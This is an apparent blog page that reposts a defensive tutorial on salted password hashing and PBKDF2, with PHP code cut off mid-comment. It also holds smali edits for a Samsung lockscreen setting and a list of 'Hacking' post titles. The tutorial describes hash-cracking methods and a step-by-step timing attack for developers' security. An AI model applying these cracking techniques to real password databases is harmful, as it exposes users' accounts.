    invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V

    .line 440
    :cond_3
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    if-eqz v1, :cond_next

    .line 438
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver;

    move-result-object v4

    const-string v5, "quick_unlock"

    invoke-static {v4, v5, v3}, Landroid/provider/Settings$System;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I

    move-result v4

    if-eqz v4, :cond_quick

    :goto_quick
    invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V

    .line 440
    :cond_next
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference;

    if-eqz v1, :cond_4

    .line 441
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference;

    invoke-virtual {v0}, Lcom/android/internal/widget/LockPatternUtils;->isVisibleSignatureEnabled()Z

    move-result v2

    invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V


Code:
    :cond_7
    move v1, v3

    .line 434
    goto :goto_0

    :cond_8
    move v2, v3

    .line 438
    goto :goto_1
    
    :cond_quick
    move v2, v3

    goto :goto_quick
.end method


That's it for SecSettings. Compile.
S3Rx Samsung Galaxy S3

Do not PM me for help trying to get one of my mods to work.
That's what the threads are for. I posted the threads so you can see what I did, not as an advertisement that I will do it for you.

 

'Hacking' 카테고리의 다른 글

script  (0) 2013.07.24
CVE-2013-2251 Apache Struts2 Remote Shell Exploit  (1) 2013.07.19
salted password hashing  (0) 2013.07.11
Stealing saved passwords from your friend’s laptop  (0) 2013.07.11
Cisco VoIP Hijacking  (0) 2013.06.04
Posted by CEOinIRVINE
l

salted password hashing

Hacking 2013. 7. 11. 04:34

If you're a web developer, you've probably had to make a user account system. The most important aspect of a user account system is how user passwords are protected. User account databases are hacked frequently, so you absolutely must do something to protect your users' passwords if your website is ever breached. The best way to protect passwords is to employ salted password hashing. This page will explain how to do it properly.

There are a lot of conflicting ideas and misconceptions on how to do password hashing properly, probably due to the abundance of misinformation on the web. Password hashing is one of those things that's so simple, but yet so many people get wrong. With this page, I hope to explain not only the correct way to do it, but why it should be done that way.

You may use the following links to jump to the different sections of this page.

1. What is password hashing? 2. How Hashes are Cracked 3. Adding Salt
4. Ineffective Hashing Methods 5. How to hash properly 6. Frequently Asked Questions

There is public domain password hashing source code at the bottom of this page:

PHP Source Code Java Source Code ASP.NET (C#) Source Code Ruby (on Rails) Source Code

What is password hashing?

hash("hello") = 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
hash("hbllo") = 58756879c05c68dfac9866712fad6a93f8146f337a69afe7dd238f3364946366
hash("waltz") = c0e81794384491161f1777c232bc6bd9ec38f616560b120fda8e90f383853542

Hash algorithms are one way functions. They turn any amount of data into a fixed-length "fingerprint" that cannot be reversed. They also have the property that if the input changes by even a tiny bit, the resulting hash is completely different (see the example above). This is great for protecting passwords, because we want to store passwords in an encrypted form that's impossible to decrypt, but at the same time, we need to be able to verify that a user's password is correct.

The general workflow for account registration and authentication in a hash-based account system is as follows:

  1. The user creates an account.
  2. Their password is hashed and stored in the database. At no point is the plain-text (unencrypted) password ever written to the hard drive.
  3. When the user attempts to login, the hash of the password they entered is checked against the hash of their real password (retrieved from the database).
  4. If the hashes match, the user is granted access. If not, the user is told they entered invalid login credentials.
  5. Steps 3 and 4 repeat everytime someone tries to login to their account.

In step 4, never tell the user if it was the username or password they got wrong. Always display a generic message like "Invalid username or password." This prevents attackers from enumerating valid usernames without knowing their passwords.

It should be noted that the hash functions used to protect passwords are not the same as the hash functions you may have seen in a data structures course. The hash functions used to implement data structures such as hash tables are designed to be fast, not secure. Only cryptographic hash functions may be used to implement password hashing. Hash functions like SHA256, SHA512, RipeMD, and WHIRLPOOL are cryptographic hash functions.

It is easy to think that all you have to do is run the password through a cryptographic hash function and your users' passwords will be secure. This is far from the truth. There are many ways to recover passwords from plain hashes very quickly. There are several easy-to-implement techniques that make these "attacks" much less effective. To motivate the need for these techniques, consider this very website. On the front page, you can submit a list of hashes to be cracked, and receive results in less than a second. Clearly, simply hashing the password does not meet our needs for security.

The next section will discuss some of the common attacks used to crack plain password hashes.

How Hashes are Cracked

  • Dictionary and Brute Force Attacks

    Dictionary Attack

    Trying apple : failed
    Trying blueberry : failed
    Trying justinbeiber : failed
    ...
    Trying letmein : failed
    Trying s3cr3t : success!
    Brute Force Attack

    Trying aaaa : failed
    Trying aaab : failed
    Trying aaac : failed
    ...
    Trying acdb : failed
    Trying acdc : success!

    The simplest way to crack a hash is to try to guess the password, hashing each guess, and checking if the guess's hash equals the hash being cracked. If the hashes are equal, the guess is the password. The two most common ways of guessing passwords are dictionary attacks and brute-force attacks.

    A dictionary attack uses a file containing words, phrases, common passwords, and other strings that are likely to be used as a password. Each word in the file is hashed, and its hash is compared to the password hash. If they match, that word is the password. These dictionary files are constructed by extracting words from large bodies of text, and even from real databases of passwords. Further processing is often applied to dictionary files, such as replacing words with their "leet speak" equivalents ("hello" becomes "h3110"), to make them more effective.

    A brute-force attack tries every possible combination of characters up to a given length. These attacks are very computationally expensive, and are usually the least efficient in terms of hashes cracked per processor time, but they will always eventually find the password. Passwords should be long enough that searching through all possible character strings to find it will take too long to be worthwhile.

    There is no way to prevent dictionary attacks or brute force attacks. They can be made less effective, but there isn't a way to prevent them altogether. If your password hashing system is secure, the only way to crack the hashes will be to run a dictionary or brute-force attack on each hash.

  • Lookup Tables

    Searching: 5f4dcc3b5aa765d61d8327deb882cf99: FOUND: password5
    Searching: 6cbe615c106f422d23669b610b564800: not in database
    Searching: 630bf032efe4507f2c57b280995925a9: FOUND: letMEin12
    Searching: 386f43fab5d096a7a66d67c8f213e5ec: FOUND: mcd0nalds
    Searching: d5ec75d5fe70d428685510fae36492d9: FOUND: p@ssw0rd!

    Lookup tables are an extremely effective method for cracking many hashes of the same type very quickly. The general idea is to pre-compute the hashes of the passwords in a password dictionary and store them, and their corresponding password, in a lookup table data structure. A good implementation of a lookup table can process hundreds of hash lookups per second, even when they contain many billions of hashes.

    If you want a better idea of how fast lookup tables can be, try cracking the following sha256 hashes with CrackStation's free hash cracker.

    c11083b4b0a7743af748c85d343dfee9fbb8b2576c05f3a7f0d632b0926aadfc
    08eac03b80adc33dc7d8fbe44b7c7b05d3a2c511166bdb43fcb710b03ba919e7
    e4ba5cbd251c98e6cd1c23f126a3b81d8d8328abc95387229850952b3ef9f904
    5206b8b8a996cf5320cb12ca91c7b790fba9f030408efe83ebb83548dc3007bd
  • Reverse Lookup Tables

    Searching for hash(apple) in users' hash list... : Matches [alice3, 0bob0, charles8]
    Searching for hash(blueberry) in users' hash list... : Matches [usr10101, timmy, john91]
    Searching for hash(letmein) in users' hash list... : Matches [wilson10, dragonslayerX, joe1984]
    Searching for hash(s3cr3t) in users' hash list... : Matches [bruce19, knuth1337, john87]
    Searching for hash(z@29hjja) in users' hash list... : No users used this password

    This attack allows an attacker to apply a dictionary or brute-force attack to many hashes at the same time, without having to pre-compute a lookup table.

    First, the attacker creates a lookup table that maps each password hash from the compromised user account database to a list of users who had that hash. The attacker then hashes each password guess and uses the lookup table to get a list of users whose password was the attacker's guess. This attack is especially effective because it is common for many users to have the same password.

  • Rainbow Tables

    Rainbow tables are a time-memory trade-off technique. They are like lookup tables, except that they sacrifice hash cracking speed to make the lookup tables smaller. Because they are smaller, the solutions to more hashes can be stored in the same amount of space, making them more effective. Rainbow tables that can crack any md5 hash of a password up to 8 characters long exist.

Next, we'll look at a technique called salting, which makes it impossible to use lookup tables and rainbow tables to crack a hash.

Adding Salt

hash("hello") = 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
hash("hello" + "QxLUF1bgIAdeQX") = 9e209040c863f84a31e719795b2577523954739fe5ed3b58a75cff2127075ed1
hash("hello" + "bv5PehSMfV11Cd") = d1d3ec2e6f20fd420d50e2642992841d8338a314b8ea157c9e18477aaef226ab
hash("hello" + "YYLmfY6IehjZMQ") = a49670c3c18b9e079b9cfaf51634f563dc8ae3070db2c4a8544305df1b60f007

Lookup tables and rainbow tables only work because each password is hashed the exact same way. If two users have the same password, they'll have the same password hashes. We can prevent these attacks by randomizing each hash, so that when the same password is hashed twice, the hashes are not the same.

We can randomize the hashes by appending or prepending a random string, called asalt, to the password before hashing. As shown in the example above, this makes the same password hash into a completely different string every time. To check if a password is correct, we need the salt, so it is usually stored in the user account database along with the hash, or as part of the hash string itself.

The salt does not need to be secret. Just by randomizing the hashes, lookup tables, reverse lookup tables, and rainbow tables become ineffective. An attacker won't know in advance what the salt will be, so they can't pre-compute a lookup table or rainbow table. If each user's password is hashed with a different salt, the reverse lookup table attack won't work either.

In the next section, we'll look at how salt is commonly implemented incorrectly.

The WRONG Way: Short Salt & Salt Reuse

The most common salt implementation errors are reusing the same salt in multiple hashes, or using a salt that is too short.

Salt Reuse

A common mistake is to use the same salt in each hash. Either the salt is hard-coded into the program, or is generated randomly once. This is ineffective because if two users have the same password, they'll still have the same hash. An attacker can still use a reverse lookup table attack to run a dictionary attack on every hash at the same time. They just have to apply the salt to each password guess before they hash it. If the salt is hard-coded into a popular product, lookup tables and rainbow tables can be built for that salt, to make it easier to crack hashes generated by the product.

A new random salt must be generated each time a user creates an account or changes their password.

Short Salt

If the salt is too short, an attacker can build a lookup table for every possible salt. For example, if the salt is only three ASCII characters, there are only 95x95x95 = 857,375 possible salts. That may seem like a lot, but if each lookup table contains only 1MB of the most common passwords, collectively they will be only 837GB, which is not a lot considering 1000GB hard drives can be bought for under $100 today.

For the same reason, the username shouldn't be used as a salt. Usernames may be unique to a single service, but they are predictable and often reused for accounts on other services. An attacker can build lookup tables for common usernames and use them to crack username-salted hashes.

To make it impossible for an attacker to create a lookup table for every possible salt, the salt must be long. A good rule of thumb is to use a salt that is the same size as the output of the hash function. For example, the output of SHA256 is 256 bits (32 bytes), so the salt should be at least 32 random bytes.

The WRONG Way: Double Hashing & Wacky Hash Functions

This section covers another common password hashing misconception: wacky combinations of hash algorithms. It's easy to get carried away and try to combine different hash functions, hoping that the result will be more secure. In practice, though, there is very little benefit to doing it. All it does is create interoperability problems, and can sometimes even make the hashes less secure. Never try to invent your own crypto, always use a standard that has been designed by experts. Some will argue that using multiple hash functions makes the process of computing the hash slower, so cracking is slower, but there's a better way to make the cracking process slower as we'll see later.

Here are some examples of poor wacky hash functions I've seen suggested in forums on the internet.

  • md5(sha1(password))
  • md5(md5(salt) + md5(password))
  • sha1(sha1(password))
  • sha1(str_rot13(password + salt))
  • md5(sha1(md5(md5(password) + sha1(password)) + md5(password)))

Do not use any of these.

Note: This section has proven to be controversial. I've received a number of emails arguing that wacky hash functions are a good thing, because it's better if the attacker doesn't know which hash function is in use, it's less likely for an attacker to have pre-computed a rainbow table for the wacky hash function, and it takes longer to compute the hash function.

An attacker cannot attack a hash when he doesn't know the algorithm, but note Kerckhoffs's principle, that the attacker will usually have access to the source code (especially if it's free or open source software), and that given a few password-hash pairs from the target system, it is not difficult to reverse engineer the algorithm. It does take longer to compute wacky hash functions, but only by a small constant factor. It's better to use an iterated algorithm that's designed to be extremely hard to parallelize (these are discussed below). And, properly salting the hash solves the rainbow table problem.

If you really want to use a standardized "wacky" hash function like HMAC, then it's OK. But if your reason for doing so is to make the hash computation slower, read the section below about key stretching first.

Compare these minor benefits to the risks of accidentally implementing a completely insecure hash function and the interoperability problems wacky hashes create. It's clearly best to use a standard and well-tested algorithm.

Hash Collisions

Because hash functions map arbitrary amounts of data to fixed-length strings, there must be some inputs that hash into the same string. Cryptographic hash functions are designed to make these collisions incredibly difficult to find. From time to time, cryptographers find "attacks" on hash functions that make finding collisions easier. A recent example is the MD5 hash function, for which collisions have actually been found.

Collision attacks are a sign that it may be more likely for a string other than the user's password to have the same hash. However, finding collisions in even a weak hash function like MD5 requires a lot of dedicated computing power, so it is very unlikely that these collisions will happen "by accident" in practice. A password hashed using MD5 and salt is, for all practical purposes, just as secure as if it were hashed with SHA256 and salt. Nevertheless, it is a good idea to use a more secure hash function like SHA256, SHA512, RipeMD, or WHIRLPOOL if possible.

The RIGHT Way: How to Hash Properly

This section describes exactly how passwords should be hashed. The first subsection covers the basics—everything that is absolutely necessary. The following subsections explain how the basics can be augmented to make the hashes even harder to crack.

The Basics: Hashing with Salt

We've seen how malicious hackers can crack plain hashes very quickly using lookup tables and rainbow tables. We've learned that randomizing the hashing using salt is the solution to the problem. But how do we generate the salt, and how do we apply it to the password?

Salt should be generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). CSPRNGs are very different than ordinary pseudo-random number generators, like the "C" language'srand() function. As the name suggests, CSPRNGs are designed to be cryptographically secure, meaning they provide a high level of randomness and are completely unpredictable. We don't want our salts to be predictable, so we must use a CSPRNG. The following table lists some CSPRNGs that exist for some popular programming platforms.

Platform CSPRNG
PHP mcrypt_create_iv, openssl_random_pseudo_bytes
Java java.security.SecureRandom
Dot NET (C#, VB) System.Security.Cryptography.RNGCryptoServiceProvider
Ruby SecureRandom
Python os.urandom
Perl Math::Random::Secure
C/C++ (Windows API) CryptGenRandom
Any language on GNU/Linux or Unix Read from /dev/random or /dev/urandom

The salt needs to be unique per-user per-password. Every time a user creates an account or changes their password, the password should be hashed using a new random salt. Never reuse a salt. The salt also needs to be long, so that there are many possible salts. As a rule of thumb, make your salt is at least as long as the hash function's output. The salt should be stored in the user account table alongside the hash.

To Store a Password

  1. Generate a long random salt using a CSPRNG.
  2. Prepend the salt to the password and hash it with a standard cryptographic hash function such as SHA256.
  3. Save both the salt and the hash in the user's database record.

To Validate a Password

  1. Retrieve the user's salt and hash from the database.
  2. Prepend the salt to the given password and hash it using the same hash function.
  3. Compare the hash of the given password with the hash from the database. If they match, the password is correct. Otherwise, the password is incorrect.

At the bottom of this page, there are implementations of salted password hashing inPHP, C#,Java, and Ruby.

In a Web Application, always hash on the server

If you are writing a web application, you might wonder where to hash. Should the password be hashed in the user's browser with JavaScript, or should it be sent to the server "in the clear" and hashed there?

Even if you are hashing the user's passwords in JavaScript, you still have to hash the hashes on the server. Consider a website that hashes users' passwords in the user's browser without hashing the hashes on the server. To authenticate a user, this website will accept a hash from the browser and check if that hash exactly matches the one in the database. This seems more secure than just hashing on the server, since the users' passwords are never sent to the server, but it's not.

The problem is that the client-side hash logically becomes the user's password. All the user needs to do to authenticate is tell the server the hash of their password. If a bad guy got a user's hash they could use it to authenticate to the server, without knowing the user's password! So, if the bad guy somehow steals the database of hashes from this hypothetical website, they'll have immediate access to everyone's accounts without having to guess any passwords.

This isn't to say that you shouldn't hash in the browser, but if you do, you absolutely have to hash on the server too. Hashing in the browser is certainly a good idea, but consider the following points for your implementation:

  • Client-side password hashing is not a substitute for HTTPS (SSL/TLS). If the connection between the browser and the server is insecure, a man-in-the-middle can modify the JavaScript code as it is downloaded to remove the hashing functionality and get the user's password.

  • Some web browsers don't support JavaScript, and some users disable JavaScript in their browser. So for maximum compatibility, your app should detect whether or not the browser supports JavaScript and emulate the client-side hash on the server if it doesn't.

  • You need to salt the client-side hashes too. The obvious solution is to make the client-side script ask the server for the user's salt. Don't do that, because it lets the bad guys check if a username is valid without knowing the password. Since you're hashing and salting (with a good salt) on the server too, it's OK to use the username (or email) concatenated with a site-specific string (e.g. domain name) as the client-side salt.

Making Password Cracking Harder: Slow Hash Functions

Salt ensures that attackers can't use specialized attacks like lookup tables and rainbow tables to crack large collections of hashes quickly, but it doesn't prevent them from running dictionary or brute-force attacks on each hash individually. High-end graphics cards (GPUs) and custom hardware can compute billions of hashes per second, so these attacks are still very effective. To make these attacks less effective, we can use a technique known as key stretching.

The idea is to make the hash function very slow, so that even with a fast GPU or custom hardware, dictionary and brute-force attacks are too slow to be worthwhile. The goal is to make the hash function slow enough to impede attacks, but still fast enough to not cause a noticeable delay for the user.

Key stretching is implemented using a special type of CPU-intensive hash function. Don't try to invent your own–simply iteratively hashing the hash of the password isn't enough as it can be parallelized in hardware and executed as fast as a normal hash. Use a standard algorithm like PBKDF2 or bcrypt. You can find a PHP implementation of PBKDF2 here.

These algorithms take a security factor or iteration count as an argument. This value determines how slow the hash function will be. For desktop software or smartphone apps, the best way to choose this parameter is to run a short benchmark on the device to find the value that makes the hash take about half a second. This way, your program can be as secure as possible without affecting the user experience.

If you use a key stretching hash in a web application, be aware that you will need extra computational resources to process large volumes of authentication requests, and that key stretching may make it easier to run a Denial of Service (DoS) attack on your website. I still recommend using key stretching, but with a lower iteration count. You should calculate the iteration count based on your computational resources and the expected maximum authentication request rate. The denial of service threat can be eliminated by making the user solve a CAPTCHA every time they log in. Always design your system so that the iteration count can be increased or decreased in the future.

If you are worried about the computational burden, but still want to use key stretching in a web application, consider running the key stretching algorithm in the user's browser with JavaScript. The Stanford JavaScript Crypto Library includes PBKDF2. The iteration count should be set low enough that the system is usable with slower clients like mobile devices, and the system should fall back to server-side computation if the user's browser doesn't support JavaScript. Client-side key stretching does not remove the need for server-side hashing. You must hash the hash generated by the client the same way you would hash a normal password.

Impossible-to-crack Hashes: Keyed Hashes and Password Hashing Hardware

As long as an attacker can use a hash to check whether a password guess is right or wrong, they can run a dictionary or brute-force attack on the hash. The next step is to add a secret key to the hash so that only someone who knows the key can use the hash to validate a password. This can be accomplished two ways. Either the hash can be encrypted using a cipher like AES, or the secret key can be included in the hash using a keyed hash algorithm like HMAC.

This is not as easy as it sounds. The key has to be kept secret from an attacker even in the event of a breach. If an attacker gains full access to the system, they'll be able to steal the key no matter where it is stored. The key must be stored in an external system, such as a physically separate server dedicated to password validation, or a special hardware device attached to the server such as the YubiHSM.

I highly recommend this approach for any large scale (more than 100,000 users) service. I consider it necessary for any service hosting more than 1,000,000 user accounts.

If you can't afford multiple dedicated servers or special hardware devices, you can still get some of the benefits of keyed hashes on a standard web server. Most databases are breached using SQL Injection Attacks, which, in most cases, don't give attackers access to the local filesystem (disable local filesystem access in your SQL server if it has this feature). If you generate a random key and store it in a file that isn't accessible from the web, and include it into the salted hashes, then the hashes won't be vulnerable if your database is breached using a simple SQL injection attack. Don't hard-code a key into the source code, generate it randomly when the application is installed. This isn't as secure as using a separate system to do the password hashing, because if there are SQL injection vulnerabilities in a web application, there are probably other types, such as Local File Inclusion, that an attacker could use to read the secret key file. But, it's better than nothing.

Please note that keyed hashes do not remove the need for salt. Clever attackers will eventually find ways to compromise the keys, so it is important that hashes are still protected by salt and key stretching.

Other Security Measures

Password hashing protects passwords in the event of a security breach. It does not make the application as a whole more secure. Much more must be done to prevent the password hashes (and other user data) from being stolen in the first place.

Even experienced developers must be educated in security in order to write secure applications. A great resource for learning about web application vulnerabilities isThe Open Web Application Security Project (OWASP). A good introduction is theOWASP Top Ten Vulnerability List. Unless you understand all the vulnerabilities on the list, do not attempt to write a web application that deals with sensitive data. It is the employer's responsibility to ensure all developers are adequately trained in secure application development.

Having a third party "penetration test" your application is a good idea. Even the best programmers make mistakes, so it always makes sense to have a security expert review the code for potential vulnerabilities. Find a trustworthy organization (or hire staff) to review your code on a regular basis. The security review process should begin early in an application's life and continue throughout its development.

It is also important to monitor your website to detect a breach if one does occur. I recommend hiring at least one person whose full time job is detecting and responding to security breaches. If a breach goes undetected, the attacker can make your website infect visitors with malware, so it is extremely important that breaches are detected and responded to promptly.

Frequently Asked Questions

What hash algorithm should I use?

DO use:


DO NOT use:

  • Outdated hash functions like MD5 or SHA1.
  • Insecure versions of crypt ($1$, $2$, $2a$, $2x$, $3$).
  • Any algorithm that you designed yourself. Only use technology that is in the public domain and has been well-tested by experienced cryptographers.

Even though there are no cryptographic attacks on MD5 or SHA1 that make their hashes easier to crack, they are old and are widely considered (somewhat incorrectly) to be inadequate for password storage. So I don't recommend using them. An exception to this rule is PBKDF2, which is frequently implemented using SHA1 as the underlying hash function.

How should I allow users to reset their password when they forget it?

It is my personal opinion that all password reset mechanisms in widespread use today are insecure. If you have high security requirements, such as an encryption service would, do not let the user reset their password.

Most websites use an email loop to authenticate users who have forgotten their password. To do this, generate a random single-use token that is strongly tied to the account. Include it in a password reset link sent to the user's email address. When the user clicks a password reset link containing a valid token, prompt them for a new password. Be sure that the token is strongly tied to the user account so that an attacker can't use a token sent to his own email address to reset a different user's password.

The token must be set to expire in 15 minutes or after it is used, whichever comes first. It is also a good idea to expire any existing password tokens when the user logs in (they remembered their password) or requests another reset token. If a token doesn't expire, it can be forever used to break into the user's account. Email (SMTP) is a plain-text protocol, and there may be malicious routers on the internet recording email traffic. And, a user's email account (including the reset link) may be compromised long after their password has been changed. Making the token expire as soon as possible reduces the user's exposure to these attacks.

Attackers will be able to modify the tokens, so don't store the user account information or timeout information in them. They should be an unpredictable random binary blob used only to identify a record in a database table.

Never send the user a new password over email.

What should I do if my user account database gets leaked/hacked?

Your first priority is to determine how the system was compromised and patch the vulnerability the attacker used to get in. If you do not have experience responding to breaches, I highly recommend hiring a third-party security firm.

It may be tempting to cover up the breach and hope nobody notices. However, trying to cover up a breach makes you look worse, because you're putting your users at further risk by not informing them that their passwords and other personal information may be compromised. You must inform your users as soon as possible—even if you don't yet fully understand what happened. Put a notice on the front page of your website that links to a page with more detailed information, and send a notice to each user by email if possible.

Explain to your users exactly how their passwords were protected—hopefully hashed with salt—and that even though they were protected with a salted hash, a malicious hacker can still run dictionary and brute force attacks on the hashes. Malicious hackers will use any passwords they find to try to login to a user's account on a different website, hoping they used the same password on both websites. Inform your users of this risk and recommend that they change their password on any website or service where they used a similar password. Force them to change their password for your service the next time they log in. Most users will try to "change" their password to the original password to get around the forced change quickly. Use the current password hash to ensure that they cannot do this.

It is likely, even with salted slow hashes, that an attacker will be able to crack some of the weak passwords very quickly. To reduce the attacker's window of opportunity to use these passwords, you should require, in addition to the current password, an email loop for authentication until the user has changed their password. See the previous question, "How should I allow users to reset their password when they forget it?" for tips on implementing email loop authentication.

Also tell your users what kind of personal information was stored on the website. If your database includes credit card numbers, you should instruct your users to look over their recent and future bills closely and cancel their credit card.

What should my password policy be? Should I enforce strong passwords?

If your service doesn't have strict security requirements, then don't limit your users. I recommend showing users information about the strength of their password as they type it, letting them decide how secure they want their password to be. If you have special security needs, enforce a minimum length of 12 characters and require at least two letters, two digits, and two symbols.

Do not force your users to change their password more often than once every six months, as doing so creates "user fatigue" and makes users less likely to choose good passwords. Instead, train users to change their password whenever they feel it has been compromised, and to never tell their password to anyone. If it is a business setting, encourage employees to use paid time to memorize and practice their password.

If an attacker has access to my database, can't they just replace the hash of my password with their own hash and login?

Yes, but if someone has accesss to your database, they probably already have access to everything on your server, so they wouldn't need to login to your account to get what they want. The purpose of password hashing (in the context of a website) is not to protect the website from being breached, but to protect the passwords if a breach does occur.

You can prevent hashes from being replaced during a SQL injection attack by connecting to the database with two users with different permissions. One for the 'create account' code and one for the 'login' code. The 'create account' code should be able to read and write to the user table, but the 'login' code should only be able to read.

Why do I have to use a special algorithm like HMAC? Why can't I just append the password to the secret key?

Hash functions like MD5, SHA1, and SHA2 use the Merkle–Damgård construction, which makes them vulnerable to what are known as length extension attacks. This means that given a hash H(X), an attacker can find the value of H(pad(X) + Y), for any other string Y, without knowing X. pad(X) is the padding function used by the hash.

This means that given a hash H(key + message), an attacker can compute H(pad(key + message) + extension), without knowing the key. If the hash was being used as a message authentication code, using the key to prevent an attacker from being able to modify the message and replace it with a different valid hash, the system has failed, since the attacker now has a valid hash of message + extension.

It is not clear how an attacker could use this attack to crack a password hash quicker. However, because of the attack, it is considered bad practice to use a plain hash function for keyed hashing. A clever cryptographer may one day come up with a clever way to use these attacks to make cracking faster, so use HMAC.

Should the salt come before or after the password?

It doesn't matter, but pick one and stick with it for interoperability's sake. Having the salt come before the password seems to be more common.

Why does the hashing code on this page compare the hashes in "length-constant" time?

Comparing the hashes in "length-constant" time ensures that an attacker cannot extract the hash of a password in an on-line system using a timing attack, then crack it off-line.

The standard way to check if two sequences of bytes (strings) are the same is to compare the first byte, then the second, then the third, and so on. As soon as you find a byte that isn't the same for both strings, you know they are different and can return a negative response immediately. If you make it through both strings without finding any bytes that differ, you know the strings are the same and can return a positive result. This means that comparing two strings can take a different amount of time depending on how much of the strings match.

For example, a standard comparison of the strings "xyzabc" and "abcxyz" would immediately see that the first character is different and wouldn't bother to check the rest of the string. On the other hand, when the strings "aaaaaaaaaaB" and "aaaaaaaaaaZ" are compared, the comparison algorithm scans through the block of "a" before it determins the strings are unequal.

Suppose an attacker wants to break into an on-line system that rate limits authentication attempts to one attempt per second. Also suppose the attacker knows all of the parameters to the password hash (salt, hash type, etc), except for the hash and (obviously) the password. If the attacker can get a precisise measurement of how long it takes the on-line system to compare the hash of the real password with the hash of a password the attacker provides, he can use the timing attack to extract part of the hash and crack it using an offline attack, bypassing the system's rate limiting.

First, the attacker finds 256 strings whose hashes begin with every possible byte. He sends each string to the on-line system, recording the amount of time it takes the system to respond. The string that takes the longest will be the one whose hash's first byte matches the real hash's first byte. The attacker now knows the first byte, and can continue the attack in a similar manner on the second byte, then the third, and so on. Once the attacker knows enough of the hash, he can use his own hardware to crack it, without being rate limited by the system.

This is a theoretical attack. I've never seen it done in practice, and I seriously doubt it could be done over the internet. Nevertheless, the hashing code on this page compares strings in a way that takes the same amount of time no matter how much of the strings match, just in case the code gets used in an environment that's unusually vulnerable to timing atttacks (such as on an extremely slow processor).

How does the SlowEquals code work?

The previous question explains why SlowEquals is necessary, this one explains how the code actually works.

1. private static boolean slowEquals(byte[] a, byte[] b)
2. {
3. int diff = a.length ^ b.length;
4. for(int i = 0; i < a.length && i < b.length; i++)
5. diff |= a[i] ^ b[i];
6. return diff == 0;
7. }

The code uses the XOR "^" operator to compare integers for equality, instead of the "==" operator. The reason why is explained below. The result of XORing two integers will be zero if and only if they are exactly the same. This is because 0 XOR 0 = 0, 1 XOR 1 = 0, 0 XOR 1 = 1, 1 XOR 0 = 1. If we apply that to all the bits in both integers, the result will be zero only if all the bits matched.

So, in the first line, if a.length is equal tob.length, the diff variable will get a zero value, but if not, it will get some non-zero value. Next, we compare the bytes using XOR, and OR the result into diff. This will set diff to a non-zero value if the bytes differ. Because ORing never un-sets bits, the only way diff will be zero at the end of the loop is if it was zero before the loop began (a.length == b.length) and all of the bytes in the two arrays match (none of the XORs resulted in a non-zero value).

The reason we need to use XOR instead of the "==" operator to compare integers is that "==" is usually translated/compiled/interpreted as a branch. For example, the C code "diff &= a == b" might compile to the following x86 assembly:

MOV EAX, [A]
CMP [B], EAX
JZ equal
JMP done
equal:
AND [VALID], 1
done:
AND [VALID], 0

The branching makes the code execute in a different amount of time depending on the equality of the integers and the CPU's internal branch prediction state.

The C code "diff |= a ^ b" should compile to something like the following, whose execution time does not depend on the equality of the integers:

MOV EAX, [A]
XOR EAX, [B]
OR [DIFF], EAX

Why bother hashing?

Your users are entering their password into your website. They are trusting you with their security. If your database gets hacked, and your users' passwords are unprotected, then malicious hackers can use those passwords to compromise your users' accounts on other websites and services (most people use the same password everywhere). It's not just your security that's at risk, it's your users'. You are responsible for your users' security.

PHP PBKDF2 Password Hashing Code

PHP Source Code Java Source Code ASP.NET (C#) Source Code Ruby (on Rails) Source Code

The following code is a secure implementation of PBKDF2 hashing in PHP. You can find a test suite and benchmark code for it on Defuse Security's PBKDF2 for PHP page. The code is in the public domain, so you may use it for any purpose whatsoever.

Download PasswordHash.php

If you need compatible PHP and C# implementations, see here.

<?php
/*
 * Password hashing with PBKDF2.
 * Author: havoc AT defuse.ca
 * www: https://defuse.ca/php-pbkdf2.htm
 */

// These constants may be changed without breaking existing hashes.
define("PBKDF2_HASH_ALGORITHM", "sha256");
define("PBKDF2_ITERATIONS", 1000);
define("PBKDF2_SALT_BYTE_SIZE", 24);
define("PBKDF2_HASH_BYTE_SIZE", 24);

define("HASH_SECTIONS", 4);
define("HASH_ALGORITHM_INDEX", 0);
define("HASH_ITERATION_INDEX", 1);
define("HASH_SALT_INDEX", 2);
define("HASH_PBKDF2_INDEX", 3);

function create_hash($password)
{
    // format: algorithm:iterations:salt:hash
    $salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM));
    return PBKDF2_HASH_ALGORITHM . ":" . PBKDF2_ITERATIONS . ":" .  $salt . ":" .
        base64_encode(pbkdf2(
            PBKDF2_HASH_ALGORITHM,
            $password,
            $salt,
            PBKDF2_ITERATIONS,
            PBKDF2_HASH_BYTE_SIZE,
            true
        ));
}

function validate_password($password, $correct_hash)
{
    $params = explode(":", $correct_hash);
    if(count($params) < HASH_SECTIONS)
       return false;
    $pbkdf2 = base64_decode($params[HASH_PBKDF2_INDEX]);
    return slow_equals(
        $pbkdf2,
        pbkdf2(
            $params[HASH_ALGORITHM_INDEX],
            $password,
            $params[HASH_SALT_INDEX],
            (int)$params[HASH_ITERATION_INDEX],
            strlen($pbkdf2),
            true
        )
    );
}

// Compares two strings $a and $b in length-constant time.
function slow_equals($a, $b)
{
    $diff = strlen($a) ^ strlen($b);
    for($i = 0; $i < strlen($a) && $i < strlen($b); $i++)
    {
        $diff |= ord($a[$i]) ^ ord($b[$i]);
    }
    return $diff === 0;
}

/*
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
